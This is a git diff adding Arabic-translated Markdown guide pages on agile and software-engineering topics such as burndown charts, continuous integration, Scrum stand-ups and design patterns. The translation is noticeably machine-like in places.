diff --git a/client/src/guide/arabic/agile/burndown-charts-and-burnup-charts/index.md b/client/src/guide/arabic/agile/burndown-charts-and-burnup-charts/index.md
new file mode 100644
index 0000000000..cb72a09d3f
--- /dev/null
+++ b/client/src/guide/arabic/agile/burndown-charts-and-burnup-charts/index.md
@@ -0,0 +1,21 @@
+---
+title: Burndown Charts and Burnup Charts
+localeTitle: Burndown Charts و Burnup Charts
+---
+## Burndown Charts و Burnup Charts
+
+تُستخدم مخططات الإحتراق والإنهيار لقياس مدى تقدم مشروع ما - عادةً ما يكون سباقًا سريعًا ضمن منهجية أجيل. كل من الرسوم البيانية تمثل بصريا العمل مقابل الوقت.
+
+توضح مخططات Burndown مقدار العمل المتبقي مقابل مقدار الوقت المتبقي. يمثل المحور Y العمل المتبقي الذي يتعين القيام به - عادة ما يتعلق بتقدير الوقت المخصص لكل مهمة ، على سبيل المثال نقاط القصة - ويمثل المحور X الوقت المتبقي. يتم استخدام سطرين. أول - "خط العمل المثالي المتبقي" - يمثل حرق مثالي ، حيث يتم إنجاز كل يوم مقدار العمل المتناسب مع إجمالي الوقت ، مما يؤدي إلى خط مستقيم. يُستخدم "الخط المتبقي للعمل الفعلي" الثاني لرسم مخطط للتقدم الفعلي حيث تنتقل taks من خلال التطوير إلى الحالة المنجزة. ويرد مثال على مخطط احترق أدناه.
+
+![alt text](https://upload.wikimedia.org/wikipedia/commons/8/8c/Burn_down_chart.png "مصدر الصورة: ويكيبيديا")
+
+تستخدم العديد من فرق Scrum مخططات حرق من أجل معرفة كيف يفعلون أثناء العدو. قد يكون وجود حرق متوازن ومستقر مؤشراً على أن القصص صغيرة ويمكن التحكم فيها. إذا لاحظ فريق في منتصف سباق أن "خط العمل الفعلي المتبقي" فوق "خط العمل المثالي المتبقي" ، يمكنهم إجراء تعديلات على النطاق: يمكن إخراج القصص من العجلة أو يمكن أن يكون نطاق القصص جعل أصغر. قد يؤدي النظر إلى الاحتراق أثناء عملية البحث بأثر رجعي في نهاية السباق إلى إثارة بعض المناقشات المثيرة للاهتمام والنتيجة لتحسين العملية.
+
+تشبه المخططات الإنشائية للغاية ، ولكنها تُظهر العمل الذي تم إنجازه مقابل إجمالي مبلغ العمل والوقت المتبقي. يتم استخدام ثلاثة خطوط - خط مثالي ، خط عمل مكتمل ، وخط عمل كامل. في هذا المخطط ، يجب أن يكون خط العمل الكلي ثابتًا إلى حد ما في أعلى المخطط ، ويعد تمثيلًا جيدًا لتغيير النطاق. يجب أن ينتقل خط العمل المكتمل بثبات نحو خط العمل الإجمالي لمقدار الوقت في المشروع - يظهر مساره المثالي من خلال الخط المثالي. ويرد أدناه مثال على ذلك.
+
+![alt text](https://media.licdn.com/mpr/mpr/shrinknp_800_800/AAEAAQAAAAAAAAljAAAAJGQ1ZDI2NzRkLWExYTQtNGI2OS1hZmZjLTM1NGMzYTk1NTEyNg.png "مصدر الصورة: علاء البحيري ، ينكدين")
+
+#### معلومات اكثر:
+
+[Burndown Charts- ويكيبيديا](https://en.wikipedia.org/wiki/Burn_down_chart) [تحترق مقابل حرق الرسم البياني - ينكدين](https://www.linkedin.com/pulse/burn-up-vs-down-chart-alaa-el-beheri-cisa-rmp-pmp-bcp-itil/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/business-value/index.md b/client/src/guide/arabic/agile/business-value/index.md
new file mode 100644
index 0000000000..8e9fa48a0e
--- /dev/null
+++ b/client/src/guide/arabic/agile/business-value/index.md
@@ -0,0 +1,11 @@
+---
+title: Business Value
+localeTitle: قيمة العمل
+---
+## قيمة العمل
+
+قيمة الأعمال هي محور التسليم رشيقة. يتم تكليف فريق رشيق بتقييم قيمة العمل لجميع الأعمال.
+
+القيمة التجارية تصف ما سيحصل عليه العميل لجزء محدد من العمل.
+
+يتم اكتشاف هذه القيمة من خلال المحادثات مع العميل وتحليل العمل المتضمن. قد يكون لأصحاب المصلحة التجاريين البيانات التي تحدد قيمة ميزة معينة تم طلبها. سيستخدم مالك المنتج المصادر المختلفة للمعلومات المتاحة ويخصص وقتًا كبيرًا لفهم وتقييم وتحديد أولوية القيمة التي سيتلقاها العميل في عمل معين.
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/chickens-versus-pigs/index.md b/client/src/guide/arabic/agile/chickens-versus-pigs/index.md
new file mode 100644
index 0000000000..54aa815406
--- /dev/null
+++ b/client/src/guide/arabic/agile/chickens-versus-pigs/index.md
@@ -0,0 +1,18 @@
+---
+title: Chickens Versus Pigs
+localeTitle: الدجاج في مقابل الخنازير
+---
+## الدجاج في مقابل الخنازير
+
+يشير "الدجاج مقابل الخنازير" إلى قصة حول الدجاج والخنزير ، حيث يقترح الدجاج فتح مطعم يسمى "Ham-n-Eggs". يرفض الخنزير ، لأنه في حين أن الدجاج يحتاج فقط إلى وضع البيض ، فإن الخنزير لديه الكثير على المحك.
+
+في مشروع تطوير البرمجيات Agile ، مطور البرامج هو الخنزير. إذا فشلت في إكمال المهمة ، أو فشلت في القيام بها بشكل جيد ، لديك الكثير على المحك. هذا يمكن أن يكون سمعتك ، أو ربما حتى موقفك. قد يتم أيضًا اعتبار أعضاء الفريق الآخرين الخنازير ، اعتمادا على مقدار ما لديهم على المحك.
+
+من ناحية أخرى ، العديد من أعضاء الفريق هم الدجاج. على سبيل المثال ، لن يتأثر العميل أو مدير المشروع عالي المستوى بسبب فشل المشروع. إنهم مهتمون بنجاحها ، وقد يقدمون مساهمات ، ولكن لديهم حصص أقل وبالتالي لديهم التزام أقل بشكل ملحوظ بالمشروع.
+
+يجب أن تجاهد لتكون خنزير بدلاً من دجاج. يمكنك الاستفادة من (ولكن لا ينبغي الاعتماد على) الدجاج من أجل تقليل المخاطر و ضمان تسليم المشروع بأكبر قدر ممكن من الكفاءة.
+
+#### معلومات اكثر:
+
+[رشيقة جدي: قصة الدجاج والخنزير](http://www.agilejedi.com/chickenandpig)  
+[ويكيبيديا: الدجاج والخنزير](https://en.wikipedia.org/wiki/The_Chicken_and_the_Pig)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/code-smells/index.md b/client/src/guide/arabic/agile/code-smells/index.md
new file mode 100644
index 0000000000..0b3eda23b8
--- /dev/null
+++ b/client/src/guide/arabic/agile/code-smells/index.md
@@ -0,0 +1,23 @@
+---
+title: Code Smells
+localeTitle: قانون الروائح
+---
+## قانون الروائح
+
+تعتبر "رائحة الشمعة" في برمجة الكمبيوتر مؤشراً سطحياً على أنه قد تكون هناك مشكلة فيما يتعلق بنظامك وجودة التعليمات البرمجية الخاصة بك. قد تتطلب هذه المشكلة إعادة بيعها ليتم إصلاحها.
+
+من المهم أن نفهم أن الشفرة كريهة الرائحة تعمل ، لكنها ليست ذات نوعية جيدة.
+
+#### أمثلة
+
+1.  رمز مكرر - كتل من التعليمات البرمجية التي تم نسخها نسخاً متماثلاً عبر قاعدة التعليمات البرمجية. قد يشير ذلك إلى أنك تحتاج إلى تعميم الشفرة في وظيفة واستدعاءها في مكانين ، أو قد يكون الطريقة التي تعمل بها الشفرة في مكان واحد غير مرتبطة تمامًا بالطريقة التي تعمل بها في مكان آخر ، على الرغم من نسخها.
+2.  فصول كبيرة - فئات تحتوي على عدد كبير جدًا من أسطر الشفرة. قد يشير هذا إلى أن الفصل يحاول القيام بأشياء كثيرة جدًا ، ويجب تقسيمه إلى فئات أصغر.
+
+#### معلومات اكثر:
+
+*   _إعادة بيع ديون: تحسين تصميم المدونة الحالية - كنت بيك ، مارتن فاولر_
+*   _كود النظيفة: دليل للأعمال الحرفية رشيقة - مارتن ، روبرت C. (2009)._
+*   [قانون الروائح على ويكيبيديا](https://en.wikipedia.org/wiki/Code_smell)
+*   [قانون الروائح على مدونة جيف اتوود (ترميز الرعب)](https://blog.codinghorror.com/code-smells/)
+*   [رمز الروائح على وارد Cunningham في C2 ويكي](http://wiki.c2.com/?CodeSmell)
+*   [مارتن فاولر - رمز الرائحة](https://martinfowler.com/bliki/CodeSmell.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/colocation-vs-distributed/index.md b/client/src/guide/arabic/agile/colocation-vs-distributed/index.md
new file mode 100644
index 0000000000..4616c9be98
--- /dev/null
+++ b/client/src/guide/arabic/agile/colocation-vs-distributed/index.md
@@ -0,0 +1,10 @@
+---
+title: Collocation Vs Distributed
+localeTitle: التجميع مقابل الموزعة
+---
+## التجميع مقابل الموزعة
+
+*   ويشير الموقع المشترك إلى فريق يجلس معًا ؛ نفس المكتب. من الناحية المثالية ، الجميع يجلسون معا في المكاتب المجاورة أو مساحة عمل مفتوحة.
+*   أعضاء الفريق الموزعة منتشرة جغرافيا. المباني المختلفة ، أو المدن ، أو حتى البلدان. في حالة الفريق الموزع ، يجب أن تسهل البنية التحتية العمليات من أجل حل فرق التوقيت والمسافة بين أعضاء الفريق ، وبالتالي توفير طريقة فعالة للعمل بشكل كامل.
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/continuous-delivery/index.md b/client/src/guide/arabic/agile/continuous-delivery/index.md
new file mode 100644
index 0000000000..91f07d5c5b
--- /dev/null
+++ b/client/src/guide/arabic/agile/continuous-delivery/index.md
@@ -0,0 +1,9 @@
+---
+title: Continuous Delivery
+localeTitle: التسليم المستمر
+---
+## التسليم المستمر
+
+يعد التسليم المستمر (CD) منهجًا هندسيًا للبرامج تقوم فيه فرق العمل بإنتاج البرامج في دورات قصيرة ، مما يضمن إمكانية إصدار البرنامج بشكل موثوق به في أي وقت. [1](https://en.wikipedia.org/wiki/Extreme_programming)
+
+وهو يهدف إلى بناء واختبار وإصدار البرامج بشكل أسرع وأكثر تواتراً. يساعد هذا النهج على تقليل التكلفة والوقت ومخاطر تنفيذ التغييرات من خلال السماح بتحديثات متزايدة للتطبيقات في الإنتاج. تعتبر عملية النشر المباشرة والقابلة للتكرار مهمة للتسليم المستمر. التسليم المستمر يعني أن الفريق يضمن أن كل تغيير يمكن نشره للإنتاج ولكن قد يختار عدم القيام به ، عادةً بسبب أسباب العمل
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/continuous-deployment/index.md b/client/src/guide/arabic/agile/continuous-deployment/index.md
new file mode 100644
index 0000000000..f5fee6216b
--- /dev/null
+++ b/client/src/guide/arabic/agile/continuous-deployment/index.md
@@ -0,0 +1,13 @@
+---
+title: Continuous Deployment
+localeTitle: انتشار مستمر
+---
+## انتشار مستمر
+
+يعد النشر المستمر عملية هندسة برمجية حديثة والتي تعتبر جزءًا من بيئة DevOps. وهي تتضمن فرقًا من المطورين الذين يقومون بإنتاج وتحديث وإصدار الكود في دورات قصيرة جدًا. هذا يعني أن المطورين يرتكبون كميات صغيرة من الكود ، في كثير من الأحيان.
+
+يتمثل الهدف من النشر المستمر في الحصول على تعليمات برمجية في حالة موثوقة وقابلة للنشر دائمًا لتمكين إصدار هذا الرمز في أي وقت. تهدف هذه العملية إلى إطلاق الشفرة بسرعة أكبر. لتحقيق النشر المستمر ، يعتمد فريق التطوير على البنية التحتية التي تعمل على أتمتة الخطوات المختلفة التي تؤدي إلى النشر. وغالبًا ما يطلق على هذا اسم البنية التحتية كدليل (IaC).
+
+تشتمل فائدتان رئيسيتان للنشر المستمر على عائد سابق على الاستثمار لكل ميزة بعد تطويرها بسبب أوقات الإصدار الأقل بالإضافة إلى التعليقات السابقة على الميزات الجديدة.
+
+وتتضمن المزايا الأخرى للنشر المستمر تحسين جودة الشفرة نظرًا لحدوث أخطاء أقل مما يجعلها أكثر إنتاجًا وإصدارًا موثوقًا للشفرات ووقتًا أقل بكثير للتسويق.
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/continuous-integration/index.md b/client/src/guide/arabic/agile/continuous-integration/index.md
new file mode 100644
index 0000000000..d7c306f96d
--- /dev/null
+++ b/client/src/guide/arabic/agile/continuous-integration/index.md
@@ -0,0 +1,60 @@
+---
+title: Continuous Integration
+localeTitle: التكامل المستمر
+---
+## التكامل المستمر
+
+في التكامل الأساسي الأكثر أهمية (CI) هو منهجية تطوير رشيقة يقوم فيها المطورون بدمج التعليمات البرمجية الخاصة بهم بشكل منتظم إلى المصدر الرئيسي ، عادةً فرع `master` بعيد. من أجل ضمان عدم إدخال أي تغييرات في التكسير ، يتم تشغيل مجموعة اختبار كاملة على كل بنية حيادية لاختبار الانحدار الجديد ، أي اختبار أن الشفرة الجديدة لا تكسر الميزات الحالية القائمة.
+
+يتطلب هذا النهج اختبارًا جيدًا لقاعدة الرمز ، مما يعني أن أغلبية الشفرة ، إن لم يكن جميعها ، لديها اختبارات تضمن أن ميزاتها تعمل بكامل طاقتها. سوف يمارس التكامل المستمر بشكل مثالي مع [التطوير](https://guide.freecodecamp.org/agile/test-driven-development) الكامل [القائم على الاختبار](https://guide.freecodecamp.org/agile/test-driven-development) .
+
+### الخطوات الرئيسية
+
+الخطوات الأساسية التالية ضرورية لأداء الأسلوب الحالي الأكثر القياسية للتكامل المستمر.
+
+1.  الحفاظ على الريبو المركزي وفرع `master` نشط.
+
+يجب أن يكون هناك مستودع رمز للجميع للاندماج في وسحب التغييرات من. هذا يمكن أن يكون على جيثب أو أي عدد من خدمات تخزين الأكواد.
+
+2.  أتمتة البناء.
+
+استخدام البرامج النصية الآلية الوقائية الوطنية أو بناء أدوات أكثر تعقيدا مثل الغزل، النخير، Webpack، أو [بلع](https://guide.freecodecamp.org/developer-tools/gulp) ، أتمتة البناء بحيث قيادة واحدة يمكن بناء نسخة تعمل بشكل كامل من المنتج، وعلى استعداد لنشرها في بيئة الإنتاج. الأفضل من ذلك ، يمكنك تضمين النشر كجزء من البنية التلقائية!
+
+3.  جعل تشغيل بناء جميع الاختبارات.
+
+للتحقق من عدم وجود أي شيء في التعليمة البرمجية الجديدة يكسر الوظائف الموجودة ، يجب تشغيل مجموعة الاختبار الكاملة ويجب أن تفشل البنية إذا فشلت أي اختبارات ضمنها.
+
+4.  يجب على الجميع دمج التغييرات `master` كل يوم.
+    
+5.  كل عملية دمج `master` يجب أن يتم بناؤها واختبارها بالكامل.
+    
+
+### أفضل الممارسات
+
+هناك المزيد من أفضل الممارسات التي تستخدم أفضل ما تقدمه CI والتحديات التي تقدمها ، مثل:
+
+1.  حافظ على سرعة الإنشاء ، بحيث لا يتم إهدار الكثير من وقت التطوير في انتظار الإنشاء.
+    
+2.  اختبار البنية في نسخة كاملة من بيئة الإنتاج.
+    
+
+إذا كان لديك ، على سبيل المثال ، تطبيقًا تم نشره على شيء ما مثل Heroku أو Digital Ocean ، فبإمكانك إجراء اختبار منفصل هناك يمكنك من خلاله نشر اختبارات ، للتأكد من أنها لا تعمل فقط في الاختبارات ولكن في بيئة إنتاج حقيقية. يجب أن تكون بيئة الاختبار هذه متطابقة وظيفياً مع بيئة الإنتاج الفعلية ، وذلك لضمان دقة الاختبار.
+
+3.  اجعل من السهل البقاء على اطلاع دائم.
+
+يجب على الكوداء السحب بانتظام من الفرع `master` للحفاظ على دمج رمزهم مع التغييرات من فريقهم. يجب أيضًا إتاحة الريبو لأصحاب المصلحة مثل مديري المنتجات ، أو مديري الشركات ، أو العملاء الرئيسيين في بعض الأحيان ، بحيث يكون الجميع قادرين على رؤية التقدم بسهولة.
+
+4.  احتفظ بسجلات للبنود ، بحيث يمكن للجميع الاطلاع على نتائج أي بنية معينة ، سواء نجحت أو فشلت ، ومن أو ما أدخل تغييرات جديدة.
+    
+5.  أتمتة النشر.
+    
+
+حافظ على تحديث تطبيقك تمامًا مع أي تغييرات جديدة عن طريق أتمتة النشر في بيئة الإنتاج كمرحلة أخيرة من عملية الإنشاء ، بعد اجتياز جميع الاختبارات ونجاح عملية اختبار الاختبار في استنساخ بيئة الإنتاج.
+
+### خدمات CI
+
+توجد الكثير من الخدمات للتعامل مع عملية التكامل المستمر بالنسبة لك ، والتي يمكن أن تجعل من السهل إنشاء خط أنابيب CI صلب أو عملية بناء. عند تقييم ذلك ، ضع في اعتبارك عوامل مثل الميزانية وسرعة الإنشاء ونوع المشروع الذي تعمل عليه. تقدم بعض الخدمات ، مثل [Travis CI](https://travis-ci.org) خدمات مجانية للمشروعات مفتوحة المصدر ، والتي يمكن أن تجعلها خيارًا سهلاً لمشاريع كهذه ، ولكن قد يكون لها أبطأ من الخدمات الأخرى ، مثل [Circle CI](https://circleci.com/) أو [Codeship](https://codeship.com/) ، على سبيل المثال لا الحصر.
+
+#### معلومات اكثر:
+
+إدخال ويكيبيديا في [التكامل المستمر](https://en.wikipedia.org/wiki/Continuous_integration) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/cross-functional-teams/index.md b/client/src/guide/arabic/agile/cross-functional-teams/index.md
new file mode 100644
index 0000000000..bb344447a2
--- /dev/null
+++ b/client/src/guide/arabic/agile/cross-functional-teams/index.md
@@ -0,0 +1,44 @@
+---
+title: Cross Functional Teams
+localeTitle: فرق متعددة الوظائف
+---
+## فرق متعددة الوظائف
+
+فريق متعدد الوظائف هو مجموعة من الأشخاص ذوي خبرات وظيفية مختلفة يعملون نحو هدف مشترك.
+
+عادةً ما تتضمن الموظفين من جميع مستويات المؤسسة. قد يأتي الأعضاء أيضًا من خارج المؤسسة (على وجه الخصوص ، من الموردين أو العملاء الرئيسيين أو الاستشاريين). تعمل الفرق المتقاطعة في كثير من الأحيان كفرق ذاتية التوجيه مخصصة لمهمة محددة تستدعي مدخلات وخبرات العديد من الإدارات.
+
+إن تعيين مهمة لفريق يتكون من أفراد متعددي التخصصات يزيد من مستوى الإبداع والتفكير خارج الصندوق.
+
+يقدم كل عضو وجهة نظر بديلة للمشكلة والحل المحتمل لهذه المهمة. في عالم الأعمال اليوم ، يعد الابتكار ميزة تنافسية رائدة ، وتشجع الفرق متعددة الوظائف الابتكار من خلال عملية تعاون خلاقة. يجب أن يكون أعضاء فريق متعدد الوظائف على دراية كبيرة في تعدد المهام لأنهم مسؤولون في نفس الوقت عن واجبات فريقهم الوظيفية المتقاطعة بالإضافة إلى مهام العمل اليومية المعتادة.
+
+### هدف مشترك
+
+*   الأفضل للفريق ، أفضل للفرد
+    
+*   تحسين التنسيق والتكامل
+    
+*   العمل عبر حدود orgnisational
+    
+*   تحسين كفاءة الفريق من خلال زيادة الإنتاجية
+    
+*   تحقيق رضا العملاء بالعمل على نفس الهدف
+    
+
+وقد رأى بعض الباحثين أن التفاعلات متعددة الوظائف ذات طبيعة تعاونية أو تنافسية ، في حين جادل آخرون بأن المجالات الوظيفية للمنظمة غالبًا ما تُجبر على التنافس والتعاون في وقت واحد مع بعضها البعض ("coetition") ومن الأهمية بمكان فهم كيفية تفاعل هذه العلاقات المعقدة. وتؤثر على أداء الشركة.
+
+### عبر فريق وظيفي تكوين المهارات
+
+يتمثل أحد التحديات الشائعة في تكوين الفرق الوظيفية المتقاطعة في فكرة أنه يجب على كل عضو تقني في الفريق امتلاك جميع المهارات الفنية اللازمة لأداء أي عمل من الأعمال. من المفيد أن يقوم أعضاء الفريق بأداء أكثر من مهارة فنية واحدة ولكن لا يزال من الجيد وجود متخصصين. الأمر أفضل عندما لا يكون جميع أعضاء الفريق متخصصين.
+
+#### معلومات اكثر:
+
+*   [17 الوسائل التي تمكّن من الاستفادة من فريق العمل المختلط](https://www.scoro.com/blog/improve-cross-team-collaboration/)
+    
+*   [11 أسباب لاستخدام فرق وظيفية عبر](https://blog.kainexus.com/employee-engagement/cross-functional-collaboration/cross-functional-teams/11-reasons)
+    
+*   [فرق Scrum وظيفية](https://www.scrumalliance.org/community/articles/2014/june/success-story-cross-functional-scrum-teams)
+    
+*   [عبر وظيفة لا يعني الجميع يمكن أن يفعل كل شيء](https://www.mountaingoatsoftware.com/blog/cross-functional-doesnt-mean-everyone-can-do-everything)
+    
+*   [فرق متعددة الوظائف](https://dzone.com/articles/cross-functional-scrum-teams)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/crystal/index.md b/client/src/guide/arabic/agile/crystal/index.md
new file mode 100644
index 0000000000..f0cdfa86f2
--- /dev/null
+++ b/client/src/guide/arabic/agile/crystal/index.md
@@ -0,0 +1,28 @@
+---
+title: Crystal
+localeTitle: كريستال
+---
+## كريستال
+
+إنها منهجية تعد أسلوبًا خفيفًا وقابلاً للتكيف مع تطوير البرامج. وهي عائلة من المنهجيات الرشيقة التي تتضمن الكريستال واضحة ، كريستال أصفر ، كريستال أورانج وغيرها. أي منهم لديه سمة فريدة من نوعها مدفوعة بالعديد من العوامل ، مثل حجم الفريق ، ومدى أهمية النظام وأولويات المشروع. والذي ينص على أن كل مشروع قد يحتاج إلى مجموعة مختلفة من الممارسات والقواعد والعمليات وفقًا لخصائص المشروع الفريدة. تم تطويرها جميعًا بواسطة أليستير كوكبورن في التسعينات.
+
+ووفقا له ، يتم تعريف وجوه الكريستال بأنها المنهجية والتقنيات والسياسات
+
+المنهجية - العناصر التي هي جزء من المشروع التقنيات - مجالات المهارات السياسات - تنظيمات لا تفعل ولا
+
+تركز هذه الأساليب على:
+
+1.  اشخاص
+2.  التفاعل
+3.  تواصل اجتماعي
+4.  مهارات
+5.  المواهب
+6.  مجال الاتصالات
+
+! \[ألوان مختلفة\] https://upload.wikimedia.org/wikiversity/en/c/c5/Crystal _Family_ example.jpg
+
+يتطلب الأمر ضربات مختلفة لتحريك العالم ، ووفقا لكريستال ، فإنه يأخذ ألوان مختلفة لتحريك المشروع.
+
+#### معلومات اكثر:
+
+\[مقالة Wikiiversity\] https://en.wikiversity.org/wiki/Crystal\_Methods
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/customer-units/index.md b/client/src/guide/arabic/agile/customer-units/index.md
new file mode 100644
index 0000000000..6cff618b8f
--- /dev/null
+++ b/client/src/guide/arabic/agile/customer-units/index.md
@@ -0,0 +1,15 @@
+---
+title: Customer Units
+localeTitle: وحدات العملاء
+---
+## وحدات العملاء
+
+في Agile ، وحدات العملاء هي الأشخاص والدور الذي يمثل الصوت ، والتوقعات من العملاء / السوق المستهدفة من قبل المنتج.
+
+وحدات العملاء المسؤولة عن منتج تجربة المستخدم ، رؤية للمنتج ، خريطة طريق المنتج ، إنشاء تراكمات المنتج والحفاظ عليها ، وأي شيء.
+
+مثال الشخص / الأدوار: -> مديري المنتج -> مبيعات -> تسويق -> المستخدم النهائي
+
+#### معلومات اكثر:
+
+وحدة العميل: [الحلول](https://www.solutionsiq.com/agile-glossary/customer-unit/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/daily-standup-and-daily-scrum/index.md b/client/src/guide/arabic/agile/daily-standup-and-daily-scrum/index.md
new file mode 100644
index 0000000000..67247dddcd
--- /dev/null
+++ b/client/src/guide/arabic/agile/daily-standup-and-daily-scrum/index.md
@@ -0,0 +1,27 @@
+---
+title: Daily Stand-Up and Daily Scrum
+localeTitle: Daily Stop-Up و Daily Scrum
+---
+## Daily Stop-Up و Daily Scrum
+
+الاجتماع اليومي (DSU) أو اجتماع Daily Scrum هو أحد الأجزاء الأساسية لمنهجية scrum.
+
+كما يوحي الاسم ، يمكنك عقد الاجتماع يوميًا ، وفي الوقت نفسه ، وفي نفس الوقت بالنسبة لفريق مشترك في الموقع. يجب أن يكون الاجتماع مختصراً ، وينتهي في أقل من 15 دقيقة.
+
+مطلوب فقط من أعضاء فريق التطوير حضور Daily Stand-up. عادةً ، سيحضر أيضًا Scrum Master ومالكو المنتج ، لكنهم غير مطلوبين.
+
+الأجندة الموحدة لكل شخص هي:
+
+*   ماذا فعلت منذ DSU الماضي
+*   ماذا تفعل بعد هذا DSU
+*   ما هي العقبات الرئيسية التي تقف في طريق تقدمك ، وأين تحتاج إلى المساعدة
+
+يتعين على أعضاء الفريق الإصغاء بعناية لمساهمات بعضهم البعض ومحاولة تحديد المجالات التي يمكنهم فيها مساعدة تقدم بعضهم البعض. كما سيطرح الاجتماع الاحتياطي على مزيد من الموضوعات المطولة للمناقشة والتي يجب أن تتم بين مختلف أعضاء الفريق. وينبغي عندئذ إيقاف هذه المناقشات المطولة التي تنشأ ، وتتخذ خارج المواجهة ، التي تشمل المشاركين ذوي الصلة فقط ، وليس الفريق بأكمله.
+
+### مثال على اجتماع الوقوف
+
+https://www.youtube.com/watch؟v=\_3VIC8u1UV8
+
+### معلومات اكثر:
+
+اجتماع الوقوف: [ويكيبيديا](https://en.wikipedia.org/wiki/Stand-up_meeting)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/delivery-team/index.md b/client/src/guide/arabic/agile/delivery-team/index.md
new file mode 100644
index 0000000000..7d76577a5c
--- /dev/null
+++ b/client/src/guide/arabic/agile/delivery-team/index.md
@@ -0,0 +1,17 @@
+---
+title: Delivery Team
+localeTitle: فريق التسليم
+---
+## فريق التسليم
+
+يتكون فريق scrum من مالك المنتج (PO) ، و Scrum Master (SM) ، وفريق التسليم.
+
+فريق التوصيل هو كل شخص باستثناء PO و SM ؛ المطورين ، واختبار ، ومحللي النظم ، ومحللي قواعد البيانات ، والمحللين UI / UX ، وهلم جرا.
+
+ولكي يكون فريق توصيل سكروم فعالا ، يجب أن يكون ذكيا (أو رشيقة!) بما فيه الكفاية حتى يتم الاتفاق على القرارات بسرعة بينما تكون متنوعة بما فيه الكفاية بحيث يمكن للفريق بأكمله تغطية الغالبية العظمى من المواصفات المطلوبة لتطوير البرمجيات. من الناحية المثالية ، يعمل فريق بين 3 و 9 أشخاص بشكل عام بشكل جيد لفريق تطوير سكروم.
+
+يجب على الفريق أيضا تعزيز الاحترام المتبادل من خلال كل عضو من أعضاء الفريق. سيتمكن فريق scrum الفعال من مشاركة عبء العمل ووضع إنجازات الفريق قبل إنجازات الفرد.
+
+#### معلومات اكثر:
+
+مقال التمهيدي في Atlassian على سكروم [هنا.](https://www.atlassian.com/agile/scrum)
\ No newline at end of file
diff --git a/client/src/guide/arabic/agile/design-patterns/index.md b/client/src/guide/arabic/agile/design-patterns/index.md
new file mode 100644
index 0000000000..725907cda2
--- /dev/null
+++ b/client/src/guide/arabic/agile/design-patterns/index.md
@@ -0,0 +1,31 @@
+---
+title: Design Patterns
+localeTitle: أنماط التصميم
+---
+## أنماط التصميم
+
+نمط التصميم هو حل تصميم شائع لمشكلة التصميم الشائعة. تسمى مجموعة أنماط التصميم الخاصة بمجال أو مجال ذي صلة بلغة النمط. لاحظ أن هناك أيضًا أنماطًا في مستويات أخرى: رمز ، التزامن ، الهندسة المعمارية ، تصميم التفاعل ...
+
+في هندسة البرمجيات ، يعتبر نمط تصميم البرمجيات حلاً عامًا قابلاً لإعادة الاستخدام لمشكلة شائعة في سياق معين في تصميم البرامج. إنه ليس تصميمًا نهائيًا يمكن تحويله مباشرة إلى شفرة المصدر أو الآلة. هو وصف أو قالب لكيفية حل مشكلة يمكن استخدامها في العديد من المواقف المختلفة. أنماط التصميم هي أفضل الممارسات الرسمية التي يمكن للمبرمج استخدامها لحل المشاكل الشائعة عند تصميم تطبيق أو نظام.
+
+عادةً ما تُظهر أنماط التصميم الموجهة للكائنات العلاقات والتفاعلات بين الفئات أو الكائنات ، دون تحديد فئات التطبيق النهائية أو الكائنات المتضمنة. قد تكون الأنماط التي تشير إلى حالة قابلة للتغيير غير مناسبة للغات البرمجة الوظيفية ، يمكن أن تكون بعض الأنماط غير ضرورية في اللغات التي تحتوي على دعم مدمج لحل المشكلة التي تحاول حلها ، وأن الأنماط الموجهة للكائنات ليست بالضرورة مناسبة لغير الكائن لغات مستقيمة.
+
+قد يتم النظر إلى أنماط التصميم كنهج منظم لبرمجة الكمبيوتر الوسيطة بين مستويات نموذج البرمجة وخوارزمية ملموسة.
+
+إن الكتاب الذي جعل هذا الحقل مشهوراً في هذا المجال ، هو " **أنماط تصميم** جانج أوف فور" (GoF) **: عناصر البرامج الموجهة التي يمكن إعادة استخدامها** (1994). تقدم سلسلة (23) من الأنماط لغة OO (C ++) التقليدية المصنفة في ثلاثة أنواع:
+
+*   **خلق** (لإنشاء كائنات): مصنع مجردة ، باني ، طريقة المصنع ، النموذج ، المفرد.
+*   **الهيكلية** (لتأليف الأشياء): محول ، جسر ، مركب ، ديكور ، واجهة ، ذبابة ، وكيل.
+*   **السلوكية** (للتواصل بين الكائنات): سلسلة من المسؤولية ، الأمر ، المفسر ، المكرر ، الوسيط ، المذكرات ، المراقب ، الحالة ، الإستراتيجية ، طريقة القالب ، الزائر.
+
+يمكن استخدام الأنماط لأهداف متعددة (التعلم ، التواصل ، تحسين الأدوات الخاصة بك) ولكن في رشيقة يجب أن يتم إعادة تشكيلها من الكود مع دين تقني وليس فقط إضافتها في البداية (تصميم / هندسة معمارية طارئة) كما في البداية ليس لديك معرفة كافية حول النظام (المستقبلي) الذي سوف يتطور. لاحظ أن ما يتطلب وجود نمط بلغة أو أداة قد لا يكون مطلوبًا أو قد يكون بالفعل جزءًا من لغة أو أداة أخرى. الإطار هو مجموعة من الطبقات المتعاونة التي تشكل تصميمًا قابلًا لإعادة الاستخدام لنوع معين من البرامج وعادة ما تكون ثقيلة النمط.
+
+#### معلومات اكثر:
+
+*   [ويكيبيديا على أنماط التصميم](https://en.wikipedia.org/wiki/Software_design_pattern)
+*   [ويكيبيديا على GoF كتاب](https://en.wikipedia.org/wiki/Design_Patterns)
+*   [أنماط التصميم حسب صنع المصدر](https://sourcemaking.com/design_patterns) : قائمة الأنماط المعروفة المتوفرة على الإنترنت
+*   [أنماط برمجة اللعبة](http://gameprogrammingpatterns.com/) : كتاب عن أنماط التصميم المستخدمة بشكل شائع في تطوير الألعاب ، وهي متاحة للقراءة على الإنترنت مجانًا
+*   [التصميم الموجه للكائن](http://www.oodesign.com/)
+*   [دليل المبتدئين لأنماط التصميم](https://code.tutsplus.com/articles/a-beginners-guide-to-design-patterns--net-12752)
+*   [من أنماط التصميم إلى نظرية الفئات](http://blog.ploeh.dk/2017/10/04/from-design-patterns-to-category-theory/)
\ No newline at end of file
